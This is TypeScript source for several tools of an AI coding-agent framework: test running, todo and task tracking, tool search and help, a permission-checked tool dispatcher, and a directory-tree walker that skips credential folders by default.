input.target?.trim();\n if (!target) {\n early = { ok: false, message: 'action=planify requires `target` (task id, index, or title substring).', count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n const idx = findTaskIndex(f.tasks, target);\n if (idx === -1) {\n early = { ok: false, message: `No task matched \"${target}\".`, count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n const match = f.tasks[idx];\n /* v8 ignore next 4 -- findTaskIndex returned a valid in-range idx, so match is always defined; defensive. */\n if (!match) {\n early = { ok: false, message: `No task matched \"${target}\".`, count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n // Extract data \u2014 plan write happens after the task lock releases\n planifyMeta.title = match.title;\n planifyMeta.details = match.description ?? '';\n didPlanify = true;\n // Do NOT mutate the task \u2014 just copy to plan\n break;\n }\n\n default:\n early = { ok: false, message: `Unknown action \"${(input as { action: string }).action}\". Use replace | add | status | show | promote | planify.`, count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n\n return f;\n });\n } catch (err) {\n // Persist failed (mutateTasks throws on a failed save) \u2014 report ok:false\n // instead of falsely claiming the tasks were saved.\n return {\n ok: false,\n message: `Task change not saved \u2014 ${err instanceof Error ? err.message : String(err)}`,\n count: 0,\n completed: 0,\n inProgress: 0,\n };\n }\n\n // Apply todo replacements after the task file mutation succeeds so that\n // on error the state is rolled back cleanly.\n if (todosToReplace) ctx.state.replaceTodos(todosToReplace);\n\n // Fire-and-forget kanban projection. The mirror is observational and must\n // not block the tool response (or consume the 2 s timeout budget) waiting\n // on kanban file locks that may be held by other agents.\n mirrorSessionTasksToKanban(ctx.projectRoot, file.tasks, sessionId);\n\n // If the callback set an early-return result, use it\n if (early) return early;\n\n // If planify copied task data, write it to the plan file now\n if (didPlanify) {\n const { title, details } = planifyMeta;\n const planPathRaw = (ctx.meta as Record<string, unknown>)['plan.path'];\n const prog = computeTaskItemProgress(file.tasks);\n if (typeof planPathRaw === 'string' && planPathRaw) {\n let planPath: string = planPathRaw;\n // Honor project scope for the PLAN file too (mirror of plan.ts taskify);\n // handle both separators.\n if (input.scope === 'project') {\n const lastSep = Math.max(planPath.lastIndexOf('/'), planPath.lastIndexOf('\\\\'));\n planPath = lastSep >= 0 ? planPath.slice(0, lastSep + 1) + 'backlog.plan.json' : 'backlog.plan.json';\n }\n // Mutate the cross-file under ITS OWN lock so a concurrent plan tool\n // call in the same batch can't clobber the write.\n let formatted = '';\n try {\n await mutatePlan(planPath, sessionId, (pf) => {\n const { plan: updated } = addPlanItem(pf, title, details || undefined);\n formatted = formatPlan(updated);\n return updated;\n });\n } catch (err) {\n return {\n ok: false,\n message: `planify: plan not saved \u2014 ${err instanceof Error ? err.message : String(err)}`,\n count: file.tasks.length,\n completed: prog.completed,\n inProgress: prog.inProgress,\n };\n }\n return {\n ok: true,\n message: `planify ok \u2014 added \"${title}\" to plan.\\n${formatted}`,\n count: file.tasks.length,\n completed: prog.completed,\n inProgress: prog.inProgress,\n };\n }\n // Plan path missing \u2014 still report the REAL task counts (the task file was\n // loaded and may be non-empty), not zeros.\n return {\n ok: false,\n message: 'Plan storage path not configured \u2014 cannot planify.',\n count: file.tasks.length,\n completed: prog.completed,\n inProgress: prog.inProgress,\n };\n }\n\n const p = computeTaskItemProgress(file.tasks);\n const summary = promoteMeta.count > 0\n ? `promote ok \u2014 ${promoteMeta.count} todo(s) created from \"${promoteMeta.title}\".\\n${formatTaskList(file.tasks)}`\n : file.tasks.length > 0\n ? formatTaskList(file.tasks)\n : 'No tasks.';\n return {\n ok: true,\n message: summary,\n count: file.tasks.length,\n completed: p.completed,\n inProgress: p.inProgress,\n };\n },\n};\n", "import * as path from 'node:path';\nimport type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { spawnStream } from './_spawn-stream.js';\nimport { normalizeCommandOutput, safeResolve } from './_util.js';\nimport { tryLegacyCodeOperation } from './languages/legacy-bridge.js';\n\ninterface TestInput {\n files?: string | string[] | undefined;\n runner?: 'vitest' | 'jest' | 'mocha' | 'auto' | undefined;\n watch?: boolean | undefined;\n coverage?: boolean | undefined;\n cwd?: string | undefined;\n grep?: string | undefined;\n timeout?: number | undefined;\n verbose?: boolean | undefined;\n}\n\ninterface TestOutput {\n runner: string;\n exit_code: number;\n tests_run: number;\n passed: number;\n failed: number;\n duration_ms: number;\n output: string;\n truncated: boolean;\n}\n\nexport const testTool: Tool<TestInput, TestOutput> = {\n name: 'test',\n category: 'Code Quality',\n description:\n \"Execute the project's test suite. This is one of the most critical tools for validating that your changes are correct.\",\n usageHint:\n 'ESSENTIAL BEFORE CONSIDERING WORK DONE:\\n\\n' +\n '- Use `files` or `grep` to run only relevant tests during development.\\n' +\n '- `coverage: true` is useful when working on critical paths.\\n' +\n 'Run tests frequently. A clean test run is usually required before the task can be considered complete.',\n permission: 'confirm',\n mutating: false,\n icon: 'test',\n timeoutMs: 120_000,\n capabilities: ['shell.restricted'],\n inputSchema: {\n type: 'object',\n properties: {\n files: {\n type: 'string',\n description: 'Test files: single path, comma-separated list, or glob (e.g. \"**/*.test.ts\")',\n },\n runner: {\n type: 'string',\n enum: ['vitest', 'jest', 'mocha', 'auto'],\n description: 'Test runner (default: auto-detect)',\n },\n watch: { type: 'boolean', description: 'Run in watch mode (default: false)' },\n coverage: { type: 'boolean', description: 'Generate coverage report (default: false)' },\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n grep: { type: 'string', description: 'Filter tests by name pattern (default: none)' },\n timeout: { type: 'integer', description: 'Test timeout in ms (default: 30000)' },\n verbose: {\n type: 'boolean',\n description:\n 'Per-test verbose reporter output (default: false \u2014 the summary reporter is used; ' +\n 'full output is always saved to a log file referenced in the result)',\n },\n },\n },\n async execute(input, ctx, opts) {\n let final: TestOutput | undefined;\n const executeStream = testTool.executeStream;\n if (!executeStream) throw new Error('testTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('test: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<TestOutput>> {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n const runner = input.runner ?? 'auto';\n\n // Delegate to the language planner for non-JS ecosystems (Go, Rust, PHP, C#).\n if (runner === 'auto') {\n const bridge = await tryLegacyCodeOperation('test', {\n cwd,\n projectRoot: ctx.projectRoot,\n signal: opts.signal,\n });\n if (bridge?.run) {\n const run = bridge.run;\n yield {\n type: 'final',\n output: {\n runner: bridge.language,\n exit_code: run.exitCode ?? 0,\n tests_run: (run.summary.passed ?? 0) + (run.summary.failed ?? 0),\n passed: run.summary.passed ?? 0,\n failed: run.summary.failed ?? 0,\n duration_ms: run.durationMs,\n output: normalizeCommandOutput(run.output || run.error || ''),\n truncated: run.truncated,\n },\n };\n return;\n }\n }\n\n const detected = runner === 'auto' ? await detectRunner(cwd) : runner;\n if (!detected) {\n yield {\n type: 'final',\n output: {\n runner: 'none',\n exit_code: 0,\n tests_run: 0,\n passed: 0,\n failed: 0,\n duration_ms: 0,\n output: 'No test runner found (vitest.config.ts, jest.config.js, .mocharc.json)',\n truncated: false,\n },\n };\n return;\n }\n\n yield { type: 'log', text: `Running ${detected}\u2026`, data: { runner: detected } };\n\n const start = Date.now();\n const args = buildArgs(detected, input);\n\n const result = yield* spawnStream({\n cmd: detected,\n args,\n cwd,\n signal: opts.signal,\n maxBytes: 200_000,\n });\n const duration = Date.now() - start;\n\n yield { type: 'final', output: parseResult(detected, result, duration) };\n },\n};\n\nasync function detectRunner(cwd: string): Promise<string | null> {\n const { stat } = await import('node:fs/promises');\n const candidates = ['vitest.config.ts', 'jest.config.js', '.mocharc.json'];\n for (const f of candidates) {\n try {\n await stat(path.join(cwd, f));\n if (f.includes('vitest')) return 'vitest';\n if (f.includes('jest')) return 'jest';\n if (f.includes('mocha')) return 'mocha';\n } catch {\n // continue\n }\n }\n return null;\n}\n\nfunction buildArgs(runner: string, input: TestInput): string[] {\n const args: string[] = [];\n const timeout = input.timeout ?? 30000;\n\n switch (runner) {\n case 'vitest':\n // Default reporter, NOT verbose: a verbose run over a large suite\n // emits one line per test (tens of MB on big monorepos) that then has\n // to be buffered, spooled, and truncated. The default reporter prints\n // per-file summaries + full failure details, which is what the agent\n // acts on. Opt back in per call with `verbose: true`.\n args.push(input.watch ? 'watch' : 'run');\n if (input.verbose) args.push('--reporter=verbose');\n if (input.coverage) args.push('--coverage');\n if (input.grep) args.push('--testNamePattern', input.grep);\n args.push('--testTimeout', String(timeout));\n break;\n case 'jest':\n if (input.verbose) args.push('--verbose');\n if (input.watch) args.push('--watch');\n if (input.coverage) args.push('--coverage');\n if (input.grep) args.push('--testPathPattern', input.grep);\n args.push('--testTimeout', String(timeout));\n break;\n case 'mocha':\n args.push('--reporter', 'spec');\n if (input.grep) args.push('--grep', input.grep);\n args.push('--timeout', String(timeout));\n break;\n }\n\n if (input.files) {\n const files = Array.isArray(input.files) ? input.files : input.files.split(',');\n args.push('--', ...files.map((f) => f.trim()));\n }\n\n return args;\n}\n\nfunction parseResult(\n runner: string,\n result: {\n stdout: string;\n stderr: string;\n exitCode: number;\n truncated: boolean;\n error?: string | undefined;\n },\n duration: number,\n): TestOutput {\n const out = result.stdout + result.stderr;\n\n let tests_run = 0;\n let passed = 0;\n let failed = 0;\n\n if (runner === 'vitest') {\n const passedMatch = out.match(/(\\d+) passed/);\n const failedMatch = out.match(/(\\d+) failed/);\n if (passedMatch?.[1]) passed = Number.parseInt(passedMatch[1], 10);\n if (failedMatch?.[1]) failed = Number.parseInt(failedMatch[1], 10);\n tests_run = passed + failed;\n } else if (runner === 'jest') {\n const suitesMatch = out.match(/Test Suites:\\s+(\\d+)\\s+total/);\n const passedMatch = out.match(/Tests:\\s+(\\d+)\\s+passed/);\n const failedMatch = out.match(/Tests:\\s+(\\d+)\\s+failed/);\n tests_run = Number.parseInt(suitesMatch?.[1] ?? '0', 10);\n passed = Number.parseInt(passedMatch?.[1] ?? '0', 10);\n failed = Number.parseInt(failedMatch?.[1] ?? '0', 10);\n }\n\n return {\n runner,\n exit_code: result.exitCode,\n tests_run,\n passed,\n failed,\n duration_ms: duration,\n // A passing run only needs the tail summary in chat history \u2014 counts are\n // already parsed above and the FULL log is on disk (spool marker rides\n // the stdout tail). Failures keep the standard command-output cap so\n // the agent sees the failure details inline.\n output: normalizeCommandOutput(result.stdout || result.error || '', {\n maxBytes: result.exitCode === 0 ? 4096 : undefined,\n }),\n truncated: result.truncated,\n };\n}\n", "import type { TodoItem } from '@wrongstack/core/agent';\nimport type { Tool } from '@wrongstack/core/types';\nimport { loadPlan, loadTasks, savePlan, saveTasks, setPlanItemStatus } from '@wrongstack/core/storage';\nimport { mirrorSessionTodosToKanban } from './session-kanban.js';\n\ninterface TodoInput {\n todos: TodoItem[];\n}\n\ninterface TodoOutput {\n count: number;\n in_progress: number;\n}\n\nexport const todoTool: Tool<TodoInput, TodoOutput> = {\n name: 'todo',\n category: 'Session',\n description:\n 'Manage the session-level todo list. This is the primary mechanism for tracking multi-step work. ' +\n 'The list is fully replaced on every call (not appended).',\n usageHint:\n 'BEST PRACTICE for complex tasks:\\n' +\n '- At the beginning of a non-trivial task, create a clear todo list with specific, actionable items.\\n' +\n '- Only **one** item should be `in_progress` at any time.\\n' +\n '- Update the list frequently as work progresses (mark items done, add new ones, change status).\\n' +\n '- **Re-order items** to reflect current priorities \u2014 the full list is replaced each call, so item order is entirely under your control.\\n' +\n '- When all items are completed the board auto-clears \u2014 you do NOT need to send an empty list.\\n' +\n '- The system and user can see this list, so keep it honest and up-to-date.\\n' +\n 'This tool is extremely valuable for maintaining focus and giving the user visibility into your plan.',\n permission: 'auto',\n mutating: false, // mutates only conversation state (ctx.todos), not external state \u2014 no confirmation needed\n timeoutMs: 5_000,\n capabilities: ['session.todo'],\n icon: 'todo',\n inputSchema: {\n type: 'object',\n properties: {\n todos: {\n type: 'array',\n items: {\n type: 'object',\n properties: {\n id: {\n type: 'string',\n description: 'Unique identifier for the todo item (e.g. \"1\", \"auth-flow\").',\n },\n content: {\n type: 'string',\n description: 'Clear, actionable description of the task.',\n },\n status: {\n type: 'string',\n enum: ['pending', 'in_progress', 'completed'],\n description: 'Current status. Only one item should be \"in_progress\" at a time.',\n },\n activeForm: {\n type: 'string',\n description:\n 'Optional present-tense form shown while the task is active (e.g. \"Fixing auth bug\").',\n },\n },\n required: ['id', 'content', 'status'],\n },\n description: 'The complete new list of todos. This replaces the previous list entirely.',\n },\n },\n required: ['todos'],\n },\n async execute(input, ctx) {\n if (!Array.isArray(input?.todos)) {\n throw new Error('todo: todos must be an array');\n }\n const items = input.todos.filter((t): t is TodoItem => Boolean(t?.id && t.content));\n const inProgress = items.filter((t) => t.status === 'in_progress');\n if (inProgress.length > 1) {\n // Keep only the first as in_progress, mark rest pending\n let seenInProgress = false;\n for (const item of items) {\n if (item.status === 'in_progress') {\n if (seenInProgress) item.status = 'pending';\n seenInProgress = true;\n }\n }\n }\n ctx.state.replaceTodos(items);\n\n // Kanban is the session work surface. Mirror the requested list (rather\n // than ctx.todos) so the final all-completed snapshot reaches Done even\n // though ConversationState auto-clears an all-done tactical todo list.\n // Fire-and-forget: the mirror is observational and must not block the tool\n // response (or consume the tool's timeout budget) waiting on kanban file\n // locks that may be held by other agents.\n mirrorSessionTodosToKanban(ctx.projectRoot, items, ctx.session?.id ?? 'session');\n\n // Auto-complete parent plan items / tasks when all their promoted\n // todos are done. Runs after state mutation so the UI sees the new\n // todo list before we touch the plan/task files.\n const completedPlanIds = new Set<string>();\n const completedTaskIds = new Set<string>();\n const pendingPlanIds = new Set<string>();\n const pendingTaskIds = new Set<string>();\n\n for (const item of items) {\n if (item.promotedFromPlan) {\n (item.status === 'completed' ? completedPlanIds : pendingPlanIds).add(\n item.promotedFromPlan,\n );\n }\n if (item.promotedFromTask) {\n (item.status === 'completed' ? completedTaskIds : pendingTaskIds).add(\n item.promotedFromTask,\n );\n }\n }\n\n // Mark fully-completed plan items as done\n for (const planId of completedPlanIds) {\n if (pendingPlanIds.has(planId)) continue; // not all done yet\n const planPath = (ctx.meta as Record<string, unknown>)['plan.path'];\n if (typeof planPath !== 'string' || !planPath) continue;\n try {\n const plan = await loadPlan(planPath);\n if (plan) {\n const updated = setPlanItemStatus(plan, planId, 'done');\n await savePlan(planPath, updated);\n }\n } catch {\n /* best-effort */\n }\n }\n\n // Mark fully-completed tasks as completed\n for (const taskId of completedTaskIds) {\n if (pendingTaskIds.has(taskId)) continue; // not all done yet\n const taskPath = (ctx.meta as Record<string, unknown>)['task.path'];\n if (typeof taskPath !== 'string' || !taskPath) continue;\n try {\n const file = await loadTasks(taskPath);\n if (file) {\n const task = file.tasks.find((t) => t.id === taskId);\n if (task && task.status !== 'completed') {\n task.status = 'completed';\n task.updatedAt = new Date().toISOString();\n await saveTasks(taskPath, file);\n }\n }\n } catch {\n /* best-effort */\n }\n }\n\n return {\n count: items.length,\n in_progress: items.filter((t) => t.status === 'in_progress').length,\n };\n },\n};\n", "import type { Tool } from '@wrongstack/core/types';\n\ninterface ToolHelpInput {\n tool?: string | undefined;\n format?: 'short' | 'full' | 'markdown' | undefined;\n include_examples?: boolean | undefined;\n}\n\ninterface ToolHelpOutput {\n tool?: string | undefined;\n help: string;\n tools: {\n name: string;\n description: string;\n usageHint: string;\n inputSchema: unknown;\n permission: string;\n mutating: boolean;\n }[];\n total: number;\n}\n\nexport const toolHelpTool: Tool<ToolHelpInput, ToolHelpOutput> = {\n name: 'tool_help',\n category: 'Meta',\n description:\n 'Get detailed help for a specific tool, including its full input schema and usage guidance. ' +\n 'If you do not know which tool to use, search with `tool_search` first, then call this with the tool name.',\n usageHint:\n 'USE WHEN YOU NEED PRECISE TOOL INFORMATION:\\n\\n' +\n '- Call with a specific `tool` name when you want the full schema and current usageHint.\\n' +\n '- Omit `tool` to get an overview of all available tools.\\n' +\n '- Different `format` options give you different levels of detail.\\n' +\n '- Tip: use `tool_search` to find the right tool name, then `tool_help` for the full schema.\\n' +\n 'This tool is extremely valuable for self-correction when you are unsure about a tool\\'s interface.',\n permission: 'auto',\n mutating: false,\n timeoutMs: 5_000,\n capabilities: ['tool.meta'],\n icon: 'meta',\n inputSchema: {\n type: 'object',\n properties: {\n tool: {\n type: 'string',\n description: 'Specific tool name to get detailed help for. Omit to get a list of all tools.',\n },\n format: {\n type: 'string',\n enum: ['short', 'full', 'markdown'],\n description: 'Level of detail: \"short\" (summary), \"full\" (with full schema), \"markdown\" (human readable).',\n },\n include_examples: {\n type: 'boolean',\n description: 'Whether to include example usage in the response.',\n },\n },\n },\n async execute(input, ctx) {\n const format = input.format ?? 'short';\n const includeExamples = input.include_examples ?? false;\n\n if (input.tool) {\n const tool = ctx.tools.find((t: Tool) => t.name === input.tool);\n if (!tool) {\n return {\n tool: input.tool,\n help: `No tool found with name \"${input.tool}\"`,\n tools: [],\n total: 0,\n };\n }\n\n return {\n tool: tool.name,\n help: formatToolHelp(tool, format, includeExamples),\n tools: [\n {\n name: tool.name,\n description: tool.description,\n usageHint: tool.usageHint ?? '',\n inputSchema: tool.inputSchema,\n permission: tool.permission,\n mutating: tool.mutating,\n },\n ],\n total: 1,\n };\n }\n\n const allTools = ctx.tools.map((t: Tool) => ({\n name: t.name,\n description: t.description,\n usageHint: t.usageHint ?? '',\n inputSchema: format === 'full' ? t.inputSchema : undefined,\n permission: t.permission,\n mutating: t.mutating,\n }));\n\n return {\n help:\n format === 'markdown' ? formatAllToolsMarkdown(allTools) : formatAllToolsShort(allTools),\n tools: allTools,\n total: allTools.length,\n };\n },\n};\n\nfunction formatToolHelp(tool: Tool, format: string, includeExamples: boolean): string {\n const lines: string[] = [];\n\n if (format === 'short') {\n lines.push(`${tool.name}: ${tool.description}`);\n if (tool.usageHint) lines.push(`Hint: ${tool.usageHint}`);\n return lines.join('\\n');\n }\n\n if (format === 'markdown') {\n lines.push(`## ${tool.name}`);\n lines.push('');\n lines.push(tool.description);\n lines.push('');\n lines.push('**Permission:** ' + tool.permission);\n lines.push('**Mutating:** ' + (tool.mutating ? 'yes' : 'no'));\n if (tool.usageHint) {\n lines.push('');\n lines.push('### Usage Hint');\n lines.push(tool.usageHint);\n }\n if (includeExamples && tool.inputSchema) {\n lines.push('');\n lines.push('### Input Schema');\n lines.push('```json');\n lines.push(JSON.stringify(tool.inputSchema, null, 2));\n lines.push('```');\n }\n return lines.join('\\n');\n }\n\n lines.push(`Tool: ${tool.name}`);\n lines.push(`Description: ${tool.description}`);\n lines.push(`Permission: ${tool.permission}`);\n lines.push(`Mutating: ${tool.mutating}`);\n if (tool.usageHint) lines.push(`Usage: ${tool.usageHint}`);\n if (format === 'full' && tool.inputSchema) {\n lines.push('Schema: ' + JSON.stringify(tool.inputSchema, null, 2));\n }\n return lines.join('\\n');\n}\n\nfunction formatAllToolsShort(tools: { name: string; description: string }[]): string {\n return tools.map((t) => ` ${t.name.padEnd(16)} ${t.description}`).join('\\n');\n}\n\nfunction formatAllToolsMarkdown(\n tools: { name: string; description: string; usageHint: string }[],\n): string {\n const lines: string[] = ['## Available Tools', ''];\n lines.push('| Tool | Description |');\n lines.push('|------|-------------|');\n for (const t of tools) {\n lines.push(`| \\`${t.name}\\` | ${t.description} |`);\n }\n return lines.join('\\n');\n}\n", "import type { Tool } from '@wrongstack/core/types';\n\ninterface ToolSearchInput {\n query?: string | undefined;\n tags?: string[] | undefined;\n permission?: 'auto' | 'confirm' | 'deny' | undefined;\n mutating?: boolean | undefined;\n limit?: number | undefined;\n}\n\ninterface ToolSearchOutput {\n tools: {\n name: string;\n description: string;\n permission: string;\n mutating: boolean;\n }[];\n total: number;\n truncated: boolean;\n /** Total count of tools in the registry (for \"no results\" hints). */\n _available?: number;\n}\n\nexport const toolSearchTool: Tool<ToolSearchInput, ToolSearchOutput> = {\n name: 'tool_search',\n category: 'Meta',\n description:\n 'Search the catalog of available tools by name or description. Use this to discover which tool to use for a task. ' +\n 'For the full schema and usage details of a specific tool, use `tool_help` instead.',\n usageHint:\n 'SELF-DISCOVERY TOOL:\\n\\n' +\n '- Use when you need to find the right tool for a job.\\n' +\n '- `query` searches names and descriptions.\\n' +\n '- You can filter by `tags` (category), `permission`, or `mutating`.\\n' +\n '- Once you find the right tool name, use `tool_help` with that name for full schema details.\\n' +\n 'Call this before guessing tool names. It helps you discover the best tool for the current situation.',\n permission: 'auto',\n mutating: false,\n timeoutMs: 1_000,\n capabilities: ['tool.meta'],\n icon: 'meta',\n inputSchema: {\n type: 'object',\n properties: {\n query: {\n type: 'string',\n description: 'Search query for tool name or description',\n },\n tags: {\n type: 'array',\n items: { type: 'string' },\n description: 'Filter by tags (e.g. \"filesystem\", \"network\", \"dev\")',\n },\n permission: {\n type: 'string',\n enum: ['auto', 'confirm', 'deny'],\n description: 'Filter by required permission level',\n },\n mutating: {\n type: 'boolean',\n description: 'Filter by mutating flag (true=filters that modify, false=read-only)',\n },\n limit: {\n type: 'integer',\n description: 'Maximum results to return (default: 20)',\n minimum: 1,\n maximum: 100,\n },\n },\n },\n async execute(input, ctx) {\n const limit = Math.min(input.limit ?? 20, 100);\n const tools = ctx.tools;\n const query = input.query?.toLowerCase() ?? '';\n\n const filtered = tools.filter((t: Tool) => {\n if (\n query &&\n !t.name.toLowerCase().includes(query) &&\n !t.description.toLowerCase().includes(query)\n ) {\n return false;\n }\n if (input.tags && input.tags.length > 0) {\n const toolCat = (t.category ?? '').toLowerCase();\n if (!input.tags.some((tag: string) => toolCat.includes(tag.toLowerCase()))) {\n return false;\n }\n }\n if (input.permission && t.permission !== input.permission) {\n return false;\n }\n if (typeof input.mutating === 'boolean' && t.mutating !== input.mutating) {\n return false;\n }\n return true;\n });\n\n const results = filtered.slice(0, limit).map((t: Tool) => ({\n name: t.name,\n description: t.description,\n permission: t.permission,\n mutating: t.mutating,\n }));\n\n // When no tools match, give the model actionable guidance so it\n // doesn't spiral through random queries. Point it at tool-help\n // which lists every available tool with descriptions.\n const totalAvailable = tools.length;\n const hint =\n results.length === 0 && query\n ? `No tools matched \"${input.query}\". Use tool-help (without arguments) to see all ${totalAvailable} available tools.`\n : undefined;\n\n return {\n tools: results,\n total: filtered.length,\n truncated: filtered.length > limit,\n ...(hint ? { hint } : {}),\n _available: totalAvailable,\n };\n },\n};", "import type { Tool } from '@wrongstack/core/types';\n\ninterface ToolUseInput {\n tool: string;\n input: Record<string, unknown>;\n}\n\ninterface ToolUseOutput {\n tool: string;\n success: boolean;\n result?: unknown | undefined;\n error?: string | undefined;\n executionMs: number;\n}\n\nexport const toolUseTool: Tool<ToolUseInput, ToolUseOutput> = {\n name: 'tool_use',\n category: 'Meta',\n description:\n 'Directly execute any registered tool by its exact name, bypassing normal discovery. ' +\n 'This is a powerful meta-tool intended for cases where the agent has a clear plan and knows precisely which tool to invoke.',\n usageHint:\n 'ADVANCED META TOOL \u2014 USE WITH CARE:\\n\\n' +\n '- Only use when you are certain of the exact tool name and its expected input shape.\\n' +\n '- Prefer using the normal tool calling mechanism when possible.\\n' +\n '- Very useful in batch-tool-use or when orchestrating complex workflows programmatically.\\n' +\n '- The call still goes through full permission checks and capability validation.',\n permission: 'confirm',\n mutating: true,\n timeoutMs: 60_000,\n capabilities: ['tool.mutate.any'],\n icon: 'meta',\n inputSchema: {\n type: 'object',\n properties: {\n tool: {\n type: 'string',\n description: 'The exact registered name of the tool to invoke (e.g. \"bash\", \"read\", \"codebase-search\").',\n },\n input: {\n type: 'object',\n description: 'The input object matching the target tool\\'s inputSchema.',\n },\n },\n required: ['tool'],\n },\n async execute(input, ctx, opts) {\n const start = Date.now();\n\n if (!input?.tool) {\n return {\n tool: 'unknown',\n success: false,\n error: 'tool_use: tool name is required',\n executionMs: 0,\n };\n }\n\n const tool = ctx.tools.find((t: Tool) => t.name === input.tool);\n if (!tool) {\n return {\n tool: input.tool,\n success: false,\n error: `tool_use: tool \"${input.tool}\" not found`,\n executionMs: Date.now() - start,\n };\n }\n\n // `deny` is a hard policy gate \u2014 bypassing it through a meta-tool\n // would defeat the whole point of the permission system. Keep this\n // check even though the outer `tool_use` already requires `confirm`.\n if (tool.permission === 'deny') {\n return {\n tool: input.tool,\n success: false,\n error: `tool_use: tool \"${input.tool}\" is denied by policy`,\n executionMs: Date.now() - start,\n };\n }\n\n // Note: inner `permission === 'confirm'` is intentionally NOT short-\n // circuited here. The outer `tool_use` itself has `permission: 'confirm'`,\n // so the user already saw the full args (including which inner tool will\n // run, and with what input) before approving the meta-call. Duplicating\n // the check inside execute() turned every confirm-tool dispatch through\n // `tool_use` into a hard failure \u2014 the model would see \"requires\n // confirmation\" with no way to proceed, even after the user said yes.\n // `batch_tool_use` already follows this same model.\n\n try {\n const result = await tool.execute(input.input, ctx, opts);\n return {\n tool: input.tool,\n success: true,\n result,\n executionMs: Date.now() - start,\n };\n } catch (e) {\n return {\n tool: input.tool,\n success: false,\n error: e instanceof Error ? e.message : String(e),\n executionMs: Date.now() - start,\n };\n }\n },\n};\n", "import { DEFAULT_WALK_IGNORE_DIRS, expectDefined } from '@wrongstack/core/utils';\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport type { Tool, ToolProgressEvent, ToolStreamEvent } from '@wrongstack/core/types';\nimport { safeResolve } from './_util.js';\n// Shared artifact/dependency dirs, plus tree-specific privacy dirs \u2014 tree can\n// be pointed at $HOME, where listing key material is never wanted.\nconst DEFAULT_IGNORE = [...DEFAULT_WALK_IGNORE_DIRS, '.wrongstack', '.ssh', '.gnupg', '.aws'];\n\ninterface TreeInput {\n path?: string | undefined;\n depth?: number | undefined;\n glob?: string | undefined;\n exclude?: string[] | undefined;\n show_files?: boolean | undefined;\n show_dirs?: boolean | undefined;\n show_hidden?: boolean | undefined;\n}\n\ninterface TreeOutput {\n tree: string;\n total_files: number;\n total_dirs: number;\n truncated: boolean;\n path: string;\n}\n\nexport const treeTool: Tool<TreeInput, TreeOutput> = {\n name: 'tree',\n category: 'Filesystem',\n description:\n 'Display a project or subpath directory tree. Use it for structural layout; use index-backed `codebase-search` first for code understanding when it is live.',\n usageHint:\n 'DIRECTORY-LAYOUT EXPLORATION:\\n\\n' +\n '- When `codebase-search` is live, use it first for symbols and concepts; use `tree` when the directory hierarchy itself matters.\\n' +\n '- Tune `depth` (default 3) and use `glob`/`exclude` to focus the view.\\n' +\n '- Prefer this over raw `bash find` or `glob` + manual reading when you need a quick structural overview.\\n' +\n 'Output is truncated for very large trees.',\n permission: 'auto',\n mutating: false,\n capabilities: ['fs.read'],\n icon: 'tree',\n timeoutMs: 15_000,\n inputSchema: {\n type: 'object',\n properties: {\n path: {\n type: 'string',\n description: 'Root directory to display the tree from (defaults to project root).',\n },\n depth: {\n type: 'integer',\n description: 'Maximum directory depth to traverse (default 3, use 0 for unlimited).',\n minimum: 0,\n maximum: 20,\n },\n glob: {\n type: 'string',\n description: 'Only include files matching this glob pattern.',\n },\n exclude: {\n type: 'array',\n items: { type: 'string' },\n description: 'List of directory names to completely ignore.',\n },\n show_files: {\n type: 'boolean',\n description: 'Whether to show individual files (default true).',\n },\n show_dirs: {\n type: 'boolean',\n description: 'Whether to show directories (default true).',\n },\n show_hidden: {\n type: 'boolean',\n description: 'Show hidden files starting with . (default: false)',\n },\n },\n },\n async execute(input, ctx, opts) {\n let final: TreeOutput | undefined;\n const executeStream = treeTool.executeStream;\n if (!executeStream) throw new Error('treeTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('tree: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx): AsyncGenerator<ToolStreamEvent<TreeOutput>> {\n const basePath = input.path ? safeResolve(input.path, ctx) : ctx.cwd;\n const maxDepth = input.depth ?? 3;\n const showFiles = input.show_files ?? true;\n const showDirs = input.show_dirs ?? true;\n const showHidden = input.show_hidden ?? false;\n const exclude = new Set([...DEFAULT_IGNORE, ...(input.exclude ?? [])]);\n const filterGlob = input.glob;\n\n const lines: string[] = [basePath];\n const totals = { totalFiles: { value: 0 }, totalDirs: { value: 0 } };\n\n // Walker pushes progress into an async queue; the generator drains it.\n const queue: ToolProgressEvent[] = [];\n const FLUSH_EVERY = 200; // emit metric every 200 entries seen\n let lastEmittedTotal = 0;\n\n const tickProgress = () => {\n const seen = totals.totalFiles.value + totals.totalDirs.value;\n if (seen - lastEmittedTotal >= FLUSH_EVERY) {\n queue.push({\n type: 'metric',\n text: `${seen} entries`,\n data: { files: totals.totalFiles.value, dirs: totals.totalDirs.value },\n });\n lastEmittedTotal = seen;\n }\n };\n\n const walkPromise = walkDir(basePath, 0, {\n maxDepth,\n exclude,\n showFiles,\n showDirs,\n showHidden,\n filterGlob,\n lines,\n prefix: '',\n isLast: true,\n totalFiles: totals.totalFiles,\n totalDirs: totals.totalDirs,\n onProgress: tickProgress,\n });\n\n // Race the walk against periodic flushes \u2014 yield metrics while it runs.\n let walkDone = false;\n walkPromise.finally(() => {\n walkDone = true;\n });\n\n while (!walkDone || queue.length > 0) {\n if (queue.length > 0) {\n yield expectDefined(queue.shift());\n } else {\n // Race the walk completion against a short tick so we don't busy-\n // spin while the producer fills the queue. Previously the\n // setTimeout was never cleared when walkPromise won \u2014 one stray\n // timer per drain iteration accumulated on the event loop.\n let pollTimer: ReturnType<typeof setTimeout> | undefined;\n const poll = new Promise<void>((r) => {\n pollTimer = setTimeout(r, 50);\n });\n try {\n await Promise.race([walkPromise, poll]).catch(() => undefined);\n } finally {\n if (pollTimer) clearTimeout(pollTimer);\n }\n }\n }\n await walkPromise; // surface any error\n\n yield {\n type: 'final',\n output: {\n tree: lines.join('\\n'),\n total_files: 